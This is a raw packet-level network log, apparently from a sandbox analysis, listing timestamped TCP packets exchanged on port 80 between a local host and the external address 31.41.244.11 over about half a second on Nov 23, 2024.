Nov 23, 2024 03:21:10.582674980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.582719088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.585437059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.585503101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.585558891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.585602999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.588154078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.588197947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.588233948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.588277102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.590919971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.590965986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.591028929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.591072083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.593713999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.593772888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.593832016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.593878984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.596571922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.596636057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.596647024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.596689939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.599277973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.599323988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.599400043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.599450111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.602077961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.602123976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.602164030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.602209091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.604855061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.604914904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.604955912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.605000019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.607686043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.607748032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.607763052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.607805014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.610446930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.610495090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.610554934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.610599041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.613226891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.613274097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.613343954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.613388062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.615991116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.616029978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.616096973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.616134882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.618805885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.618870974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.618885994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.618927002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.621563911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.621608019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.621675968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.621717930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.624342918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.624387980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.624458075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.624500036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.627120972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.627163887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.627230883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.627274036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.629971027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.630016088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.630047083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.630088091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.632683039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.632734060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.763700008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.763752937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.763778925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.763819933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.764916897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.764962912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.765002012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.765045881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.767365932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.767419100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.767473936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.767522097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.769820929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.769866943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.769928932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.769973040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.772337914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.772387981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.772401094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.772442102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.774761915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.774806023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.774866104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.774934053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.777244091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.777297974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.777390003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.777431965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.779694080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.779766083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.779799938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.779850006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.782170057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.782241106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.782270908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.782314062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.784668922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.784713984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.784734964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.784776926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.787080050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.787161112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.787194014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.787235975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.789560080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.789604902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.789689064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.789740086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.792023897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.792077065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.792125940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.792174101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.794488907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.794532061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.794589043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.794692993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.796957970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.797004938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.797044039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.797089100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.799422026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.799515009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.799576044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.799623013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.801889896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.801939011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.801981926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.802032948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.804343939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.804392099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.804441929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.804486036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.806823015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.806868076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.806920052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.806965113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.809314013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.809356928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.809426069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.809467077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.811763048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.811822891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.811860085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.814255953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.814311981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.814342976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.814603090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.816688061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.816803932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.816848993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.819150925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.819272041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.819323063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.821657896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.821711063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.821770906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.822607994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.824114084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.824178934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.824210882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.824256897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.826749086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.826879978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.826936960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.829013109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.829128981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.829181910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.831485987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.831602097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.831659079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.833940983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.834050894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.834110975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.836409092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.836467981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.836520910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.836606979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.838931084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.838994026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.839040041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.841332912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.841381073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.841439009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.841485977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.843802929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.843852997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.843921900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.843966007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.846270084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.846316099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.846354008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.846555948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.848750114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.848802090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.848856926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.848973989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.851193905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.851241112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.851300955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.851344109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.853671074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.853718042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.853774071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.853818893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.856123924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.856169939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.856234074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.856276989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.858583927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.858630896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.858704090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.858753920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.861094952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.861140966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.861171007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.861212015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.863523960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.863567114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.863621950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.863666058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.865961075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.866007090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.866089106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.866134882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.868452072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.868494987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.868566990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.868608952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.870908022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.870950937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.870996952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.871038914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.964781046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.964844942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.964955091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.965003014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.965814114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.965857029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.965912104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.965954065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.967859030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.967904091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.967972040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.968015909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.969902992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.969948053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.970032930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.970077991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.971978903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.972023010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.972162962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.972208023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.974049091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.974096060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.974117994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.974169970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.975990057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.976035118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.976098061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.976139069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.977946997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.977987051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.978009939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.978049040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.979891062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.979934931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.979990005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.980031967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.981790066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.981833935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.981904984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.981961012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.983690023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.983846903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.983910084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.985570908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.985676050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.985723019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.987435102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.987580061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.987628937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.989247084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.989291906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.989358902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.990602016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.991064072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.991110086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.991286039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.991327047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.992913008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.992964029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.993000031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.993058920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.994668961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.994797945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.994851112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.996434927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.996546030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.996591091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.999034882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.999049902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.999094963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.002813101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.002825975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.002866983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.003510952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.003525019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.003537893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.003572941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.003591061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.003607988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.003654003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.005310059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.005377054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.005395889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.005438089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.007075071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.007122040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.007164001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.007208109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.008872032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.008919954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.008964062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.009007931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.010608912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.010657072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.010724068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.010768890 CET	49760	80	192.168.2.4	31.41.244.11
